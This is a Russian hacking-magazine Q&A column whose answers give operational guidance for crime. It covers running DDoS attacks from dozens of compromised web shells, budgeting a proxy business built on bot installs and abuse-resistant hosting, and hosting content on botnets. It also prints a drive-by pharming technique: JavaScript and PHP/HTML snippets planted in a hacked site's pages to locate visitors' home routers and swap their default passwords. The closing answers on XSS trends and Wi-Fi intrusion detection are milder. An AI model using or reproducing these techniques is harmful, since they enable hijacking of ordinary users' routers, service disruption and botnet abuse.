Hack-Faq

Евгений «Corwin» Ермаков

Хакер, номер #101, стр. 062

(hack-faq@real.xakep.ru, www.c0rwin.net)

Q: Слышал про DDoS-системы, базирующиеся на шеллах. Насколько это эффективно?

A: В отличии от DDoS’а посредством ботнета, организовать DDoS с помощью шеллов намного легче. Тут нам нужны только веб-шеллы (30-60 штук) и удобная система. Я работал с несколькими системами, базирующимися на скриптах. В паблике таких пакетов очень мало (к примеру, давно появившийся в пабе Smerch). Завалить с их помощью сервера с большим каналом достаточно сложно, но возможно. Просто общая пропускная способность серверов, используемых для DDoS’а, должна быть больше, чем у атакуемого сервера. Достаточно эффективны системы, использующие в качестве панели управления php-скрипты, а в качестве самого DDoS’ера perl-скрипт (Cyber DDoS System). Сейчас развелись барыги, продающие один лишь perl-скрипт, и я не советую брать такие вещи, хотя бы потому что неудобно заливать вручную скрипт, допустим, на 40 шеллов.

Q: Все чаще и чаще вижу объявления о предоставлении прокси-сервисов. Неужели так просто можно начать зарабатывать? Какие нужны вложения?

A: Для начала решим: будем ли мы делать все сами или прибегнем к помощи сторонних лиц. Если мы выбираем второй путь, то необходимо определиться, во что придется вложить деньги:

загрузки софта;
разработка софта;
абузоустойчивый хостинг (на первых порах нужно быть готовым к многодневным DDoS-атакам, абузам от конкурентов; сейчас борьба между прокси-сервисами ожесточилась как никогда и люди идут на любые меры, чтобы отбить клиентов);
реклама;
разработка веб-интерфейса/сайта (я сам недавно столкнулся с тем, что клиенты не желают брать прокси списками через аську или мейл, всем хочется интерактивности, и без фейса сервис может вообще не принести никакой прибыли).

А теперь посчитаем, сколько (максимально) это все может стоить:

загрузки софта - все зависит от твоего желания. Можно вложить $500, а можно и $5000;
разработка бота - $100-300;
покупка хостинга - $30-80;
реклама - $100-200;
разработка сайта - $100-150.

Итог: $700 (без загрузок).

Естественно, цены варьируются в довольно широких пределах, и не факт, что у тебя получится именно такая сумма. Я же исхожу исключительно из своего опыта и опыта своих знакомых.

Q: Есть ли специализированные атаки на ADSL-модемы? Можно ли взломать человека, использующего роутер?

A: В модемах периодически обнаруживают уязвимости, но они, как правило, не позволяют получить удаленный доступ. Наиболее простым и очевидным способом взлома здесь является банальная проверка на дефолтные пароли. Можно просканировать диапазон IP-адресов на предмет web-сервисов и попробовать подключиться к веб-интерфейсу модема, а дальше вбивать дефолтные пассы. Если повезет, получишь управление модемом. Если речь идет о массовом взломе произвольных юзеров, то здесь можно заразить индексную страницу взломанного сайта несколькими строчками, меняющими дефолтный пароль на наш. Пример:

Сначала авторизуемся и лишь потом изменяем настройки.

Но здесь не все так просто, и сначала следует определить тип модема/роутера. Для этого Jungsonn’ом был написан скрипт:

function IP()

{

try {

var sock = new java.net.Socket();

sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));

sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port));

address = sock.getLocalAddress().getHostAddress();

return address;

} catch(e) { address = "192.196.1.0"; }

}

</script>

Идентифицируем устройство:

<img src="http://<script>IP();</script>/Images/Logo.gif" onError="alert('Not found, lets try PHP now.');">

Ищем роутеры:

# Brute search a range with PHP

for($i=200;$i<255;$i++) {

<img src="http://192.168.1.<?=$i;?>/Images/Logo.gif" onLoad="alert('I found the Router! ip: 192.168.1.<?=$i;?>');">

}

Проверка большого количества пользователей может занять много времени, так что дело за тобой – совершенствуй.

Список дефолтных паролей ко многим устройствам есть на http://phenoelit.de/dpl/dpl.html.

Q: Хочу организовать хостинг на ботах, возможно ли такое?

A: Это достаточно объемная тема, которая заслуживает отдельной статьи, так что я лишь перечислю вкратце ее основные аспекты:

Распределенное хранение контента на ботах.

Разработать стабильную схему работы сложно, да и для предоставления большого хостинга потребуется значительно большее количество ботов, чем для обычного DDoS’а, плюс нужны толстые каналы. То есть необходимо рассчитать наиболее оптимальный объемом хранимой инфы на каждом боте.

По идее, такой хостинг использовать не получится, так как непонятно, к какому адресу будут обращаться клиенты. Можно привязать к каждому боту (будем ориентироваться на грубую схему «бот -> страница») виртуальный адрес, который впоследствии предоставлялся бы клиенту. Мы даем юзеру, например, айпишник предполагаемой страницы 123.456.78.9, а сами перебрасываем его на 123.456.79.9. Да и управлять подобным «хостингом» придется исключительно через какой-либо фейс (web-интерфейс, например). В общем, отбрасываем этот бред сразу.

Использование ботов как кэширующий сервер, забирающий содержимое со стороннего сервера.
Коннект по домену, к которому цепляется адрес определенного бота. После «смерти» бота с главного бэкапного сервера заливается клиентский контент на нового бота, адрес которого цепляется к домену.

Q: Прочел о теоретической реализации атаки FMS в Wi-Fi сетях. Какой софт использовать для этого? Сижу под Linux/FreeBSD.

A: Тут можно однозначно посоветовать программу dwepcrack (www.dachb0den.com/projects/dwepcrack.html) из известного комплекта dweputils (www.dachb0den.com/projects/dweputils.html), входящего в bsd-airtools. Подробности об использовании читай в README.

Q: Какие новые тенденции предвидятся в XSS-атаках? Может, появились новые технологии, или все остановилось на стандартном угоне кукисов?

A: Как ни странно, но у спецов по информационной безопасности и просто энтузиастов получается выжить последние соки из XSS. Стали возникать новые (а зачастую хорошо забытые старые) разновидности XSS-атак, например, CSRF-атака (почитать о ней можно здесь: http://securitylab.ru/analytics/292473.php), немного похожая на XSS. Также появилась новая (из серии «открыли Америку») атака Drive-By Pharming, заключающаяся в изменении настроек маршрутизатора посредством вредоносного кода, встраиваемого в страницы сайта (кратко я описал ее в ответе на один из вопросов этого FAQ'a). В недалеком будущем эксперты прогнозируют появление «умных» XSS-червей и DDoS-атак, построенных на этих самых червях, а также разного рода малварей (malware), базирующихся на вебе. Фишеры тоже не стоят на месте, постоянно используя XSS-баги для обворовывания доверчивых юзеров.

Q: Надоело постоянно доверять аверам: то у них обычный веб-шелл определяется как «опасный зверь», то они не могут найти свежий руткит в моей системе. Есть желание все делать ручками, но что для этого нужно?

A: Даже опытные вирмейкеры, если есть подозрение в заражении, сначала уступают место аверам и только потом работают вручную. Автоматизация - великая вещь и делать все самому довольно иррационально. Ну а что требуется для этого, думаю, и так понятно: знание ассемблера, дизассемблеров (вроде IDA), ключей реестра, умение работать с таким софтом, как декомпиляторы и распаковщики.

Q: Подскажи, какие еще существуют IDS для Wi-Fi сетей с открытыми исходниками, кроме Snort'a и других, недавно перечисленных в журнале?

A: WIDS, имеющая стандартный функционал (обнаружение частых запросов, детектинг затопления запросами, анализ фреймов и т.д.), но отличающаяся наличием своего рода механизма Honeypot для приманки потенциальных взломщиков.

Еще одна система со сходным первой названием - WIDZ, умеющая противодействовать атаке EvilTwin (то есть находить подставные точки доступа), мониторить сеть на подозрительный трафик и т.п. К сожалению, в ней периодически находят уязвимости.

Ну и не стоит забывать о том, что в Kismet тоже есть функции IDS.

Содержание